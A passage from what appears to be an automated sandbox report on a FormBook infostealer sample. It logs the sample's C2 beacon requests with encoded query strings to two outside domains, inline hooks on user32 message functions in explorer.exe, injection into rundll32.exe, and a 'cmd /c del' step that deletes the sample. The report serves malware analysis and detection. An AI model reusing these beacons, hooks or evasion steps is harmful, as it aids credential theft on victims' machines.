porncamslivechat.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 27, 2020 
06:37:46.497160912 
CET

8.8.8.8 192.168.2.5 0xe6ba No error (0) porncamsli
vechat.com

184.154.50.243 A (IP address) IN (0x0001)

Nov 27, 2020 
06:38:07.721736908 
CET

8.8.8.8 192.168.2.5 0x5dad No error (0) www.amaril
loautoexpr
ess.com

23.27.109.19 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

www.porncamslivechat.com
www.amarilloautoexpress.com

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49746 184.154.50.243 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 27, 2020 
06:37:46.629072905 CET

5535 OUT GET /unx5/?YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&W
t=LhnLHro0q HTTP/1.1
Host: www.porncamslivechat.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 27, 2020 
06:37:48.018973112 CET

5536 IN HTTP/1.1 404 Not Found
Date: Fri, 27 Nov 2020 05:37:46 GMT
Server: Apache
Link: <https://porncamslivechat.com/wp-json/>; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=1d6c5c8d17388afcc8a5932da9c3f004; path=/
Upgrade: h2,h2c
Connection: Upgrade, close
Referrer-Policy: no-referrer-when-downgrade
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Data Raw: 33 64 34 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 
6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 
3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 
64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 
6f 2d 66 69 74 3d 6e 6f 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 
74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 
65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 
68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 72 6f 2d 63 61 6d 2d 6d 75 2f 69 6d 61 67
65 73 2f 69 63 6f 6e 2e 70 6e 67 22 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 
68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 
74 65 6e 74 2f 63 61 63 68 65 2f 6d 69 6e 69 66 79 2f 32 66 36 38 32 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 
20 2f 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 
2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0d 0a 3c 21 
2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 
6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 72 6f 2d 
63 61 6d 2d 6d 75 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 
74 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 73 
72 63 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 
6e 74 2f 63 61 63 68 65 2f 6d 69 6e 69 66 79 2f 62 66 66 64 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 0a 
09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6
f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 35 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 
2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 
Data Ascii: 3d48<!doctype html><html lang="en-US"><head><meta charset="UTF-8" /><meta name="viewport" content=
"width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="https://gmpg.org/xfn/11"><link rel="apple-
touch-icon" href="http://porncamslivechat.com/wp-content/themes/pro-cam-mu/images/icon.png"><link rel="stylesheet" h
ref="http://porncamslivechat.com/wp-content/cache/minify/2f682.css" media="all" /><link rel="pingback" href="http://porn
camslivechat.com/xmlrpc.php" />...[if lt IE 9]><script src="http://porncamslivechat.com/wp-content/themes/pro-cam-mu/js/
html5.js" type="text/javascript"></script><![endif]--><script src="http://porncamslivechat.com/wp-content/cache/minify/b
ffd0.js"></script>... This site is optimized with the Yoast SEO plugin v15.3 - https://yoast.com/wordpress/plugins/s

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49747 23.27.109.19 80 C:\Windows\explorer.exe

HTTP Request Dependency Graph

HTTP Packets
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Code Manipulations

Statistics

Behavior

• emthree.exe

• emthree.exe

• explorer.exe

• rundll32.exe

• cmd.exe

• conhost.exe

Click to jump to process

Timestamp
kBytes
transferred Direction Data

Nov 27, 2020 
06:38:07.894825935 CET

5550 OUT GET /unx5/?YBZpk4k0=1w0hMOl97180k8Du4bGC2gk65X6wFt6LICq9bRyB5mmRHYVxdYOusOKtXf2j62HHiftJ&W
t=LhnLHro0q HTTP/1.1
Host: www.amarilloautoexpress.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 27, 2020 
06:38:08.068506002 CET

5551 IN HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx
Date: Fri, 27 Nov 2020 05:38:20 GMT
Connection: close
Data Raw: 33 0d 0a ef bb bf 0d 0a 
Data Ascii: 3

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

Function Name Hook Type New Data

PeekMessageA INLINE 0x48 0x8B 0xB8 0x8F 0xFE 0xEA 

PeekMessageW INLINE 0x48 0x8B 0xB8 0x87 0x7E 0xEA 

GetMessageW INLINE 0x48 0x8B 0xB8 0x87 0x7E 0xEA 

GetMessageA INLINE 0x48 0x8B 0xB8 0x8F 0xFE 0xEA 

User Modules

Hook Summary

Processes

Process: explorer.exe, Module: user32.dll
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System Behavior

File ActivitiesFile Activities

Start time: 06:36:03

Start date: 27/11/2020

Path: C:\Users\user\Desktop\emthree.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\emthree.exe' 

Imagebase: 0xf40000

File size: 459776 bytes

MD5 hash: 25B5788669A3A8F35596CE975F0823A7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6DA7CF06 unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6DA7CF06 unknown

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\
emthree.exe.log

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD8C78D CreateFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Analysis Process: emthree.exe PID: 4600 Parent PID: 5660Analysis Process: emthree.exe PID: 4600 Parent PID: 5660

General

File CreatedFile Created

File WrittenFile Written

Copyright null 2020 Page 24 of 28



C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\emthree.exe.log

unknown 1301 31 2c 22 66 75 73 69 
6f 6e 22 2c 22 47 41 
43 22 2c 30 0d 0a 31 
2c 22 57 69 6e 52 54 
22 2c 22 4e 6f 74 41 
70 70 22 2c 31 0d 0a 
32 2c 22 53 79 73 74 
65 6d 2e 57 69 6e 64 
6f 77 73 2e 46 6f 72 
6d 73 2c 20 56 65 72 
73 69 6f 6e 3d 34 2e 
30 2e 30 2e 30 2c 20 
43 75 6c 74 75 72 65 
3d 6e 65 75 74 72 61 
6c 2c 20 50 75 62 6c 
69 63 4b 65 79 54 6f 
6b 65 6e 3d 62 37 37 
61 35 63 35 36 31 39 
33 34 65 30 38 39 22 
2c 30 0d 0a 33 2c 22 
53 79 73 74 65 6d 2c 
20 56 65 72 73 69 6f 
6e 3d 34 2e 30 2e 30 
2e 30 2c 20 43 75 6c 
74 75 72 65 3d 6e 65 
75 74 72 61 6c 2c 20 
50 75 62 6c 69 63 4b 
65 79 54 6f 6b 65 6e 
3d 62 37 37 61 35 63 
35 36 31 39 33 34 65 
30 38 39 22 2c 22 43 
3a 5c 57 69 6e 64 6f 
77 73 5c 61 73 73 65 
6d 62 6c 79 5c 4e 61 
74 69 76 65 49 6d 61 
67 65 73 5f 76 34 2e 
30 2e 33 

1,"fusion","GAC",0..1,"Win
RT",
"NotApp",1..2,"System.Win
dows.Forms, 
Version=4.0.0.0, Cultur
e=neutral, 
PublicKeyToken=b77a
5c561934e089",0..3,"Syste
m, Version=4.0.0.0, 
Culture=neutral, 
PublicKeyToken=b77a5c5
61934e
089","C:\Windows\assembl
y\NativeImages_v4.0.3

success or wait 1 6DD8C907 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DA55705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6DA55705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6D9B03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DA5CA54 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6D9B03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll.aux

unknown 864 success or wait 1 6D9B03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

unknown 900 success or wait 1 6D9B03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6D9B03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DA55705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6DA55705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6C8C1B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6C8C1B4F ReadFile

Start time: 06:36:10

Start date: 27/11/2020

Path: C:\Users\user\Desktop\emthree.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0x460000

File size: 459776 bytes

MD5 hash: 25B5788669A3A8F35596CE975F0823A7

Has elevated privileges: true

File ReadFile Read

Analysis Process: emthree.exe PID: 5772 Parent PID: 4600Analysis Process: emthree.exe PID: 5772 Parent PID: 4600

General
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File ActivitiesFile Activities

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 41A037 NtReadFile

File ActivitiesFile Activities

Start time: 06:36:12

Start date: 27/11/2020

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff693d90000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

Start time: 06:36:25

File ReadFile Read

Analysis Process: explorer.exe PID: 3472 Parent PID: 5772Analysis Process: explorer.exe PID: 3472 Parent PID: 5772

General

Analysis Process: rundll32.exe PID: 6240 Parent PID: 3472Analysis Process: rundll32.exe PID: 6240 Parent PID: 3472

General
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File ActivitiesFile Activities

Start date: 27/11/2020

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe

Imagebase: 0xac0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DD0F03A89A1FDAD63D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 2DAA037 NtReadFile

File ActivitiesFile Activities

Start time: 06:36:29

Start date: 27/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\emthree.exe'

Imagebase: 0x150000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File ReadFile Read

Analysis Process: cmd.exe PID: 6256 Parent PID: 6240Analysis Process: cmd.exe PID: 6256 Parent PID: 6240

General
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Disassembly

Code Analysis

Start time: 06:36:30

Start date: 27/11/2020

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff797770000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: conhost.exe PID: 6264 Parent PID: 6256Analysis Process: conhost.exe PID: 6264 Parent PID: 6256

General
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